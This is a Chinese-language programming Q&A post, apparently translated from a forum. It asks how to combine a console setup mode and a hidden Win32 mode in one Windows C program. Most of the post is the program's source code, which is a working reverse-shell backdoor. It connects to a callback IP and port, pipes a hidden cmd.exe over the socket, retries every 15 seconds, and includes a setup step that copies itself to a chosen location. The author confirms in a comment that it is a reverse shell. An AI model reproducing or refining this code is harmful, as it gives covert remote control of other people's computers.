【发布时间】:2018-01-25 13:35:56
【问题描述】:
我正在创建一个程序,它有两个方面。主要执行(script.exe -setup)将打开一个控制台并询问用户多个问题,然后将答案设置为变量并根据答案对机器进行调整。这是一个简单的控制台应用程序,如果编译为控制台应用程序,它可以正常工作。
脚本的第二部分(script.exe -socket 192.168.1.1:9000)将启动一个 WinMain 函数,然后调用一个套接字函数。我将套接字函数放在 WinMain 中的原因是它不会显示 CreateProcess 调用的“cmd.exe”。它正在闪烁命令提示符,所以我使用 WinMain 摆脱了它。这只有在编译为 Win32 应用程序时才能按预期工作,但是我无法运行脚本的设置端。
我知道当编译为控制台应用程序时,它以 (int main()) 函数开头,这就是它起作用的原因。当编译为 Win32 时,它以 (WinMain()) 函数开始。但是,我只需要将应用程序作为 Win32 应用程序从 Main 启动。
int main(int argc, char *argv[]) {
char filePath[150];
char fileName[30];
int portNum;
char ip[16];
char socket[23];
if (argc == 1) {
printf("Usage: File.exe setup OR File.exe -s IP:PORT");
exit(0);
} else if (strcmp(argv[1], "setup") == 0) {
printf("Doing Setup Stuff\n");
} else if (strcmp(argv[1], "-socket") == 0){
strncpy(socket, argv[2], 22);
WinMain(0,0,socket,0);
return 0;
} else {
printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
exit(0);
}
printf("Desired File Location. Example: C:\\Test\n");
scanf("%149s", filePath);
CheckDirectory(filePath);
printf("\nDesired file name. Example: test.exe\n");
scanf("%29s", fileName);
getchar();
CopyNewFile(filePath, fileName, argv[0]);
printf("\nEnter callback IP:\n");
scanf("%15s", ip);
printf("\nEnter callback port:\n");
scanf("%5d", &portNum);
printf("Enter time in seconds for each callback: ");
scanf("%10d", &secs);
return 0;
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
char test[50];
strncpy(test, cmdline, 49);
char *ip = strtok(test, ":");
char *port = strtok(NULL, ":");
RunSocket(ip, port);
return 0;
}
void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
printf("\nCopied new file!\n");
} else {
printf("Did not copy!");
}
}
void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];
if (dir) {
printf("Directory Exists!\n");
closedir(dir);
} else if (ENOENT == errno) {
printf("Directory does not exist. Do you want to create this directory? Y/N: ");
scanf("%s", answer);
if (strcmp(answer, "y") == 0) {
if (CreateDirectory(d, NULL)) {
printf("Created Directory!\n");
} else {
printf("Error Creating Directory!");
exit(1);
}
} else {
printf("Closing Script!");
exit(1);
}
}
}
void RunSocket(char *a, char *b) {
while(1) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
struct hostent *host;
host = gethostbyname(a);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(b));
hax.sin_addr.s_addr =inet_addr(ip_addr);
WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
Sleep(15000);
}
}
【问题讨论】:
-
控制台和cmd.exe不是一回事,没有cmd.exe也可以有控制台窗口。 CreateProcess 只创建一个控制台窗口。
-
cmd.exe 在连接的计算机上打开。这是一个反向外壳,因此它连接到我。我只会去两个文件,因为它会更好。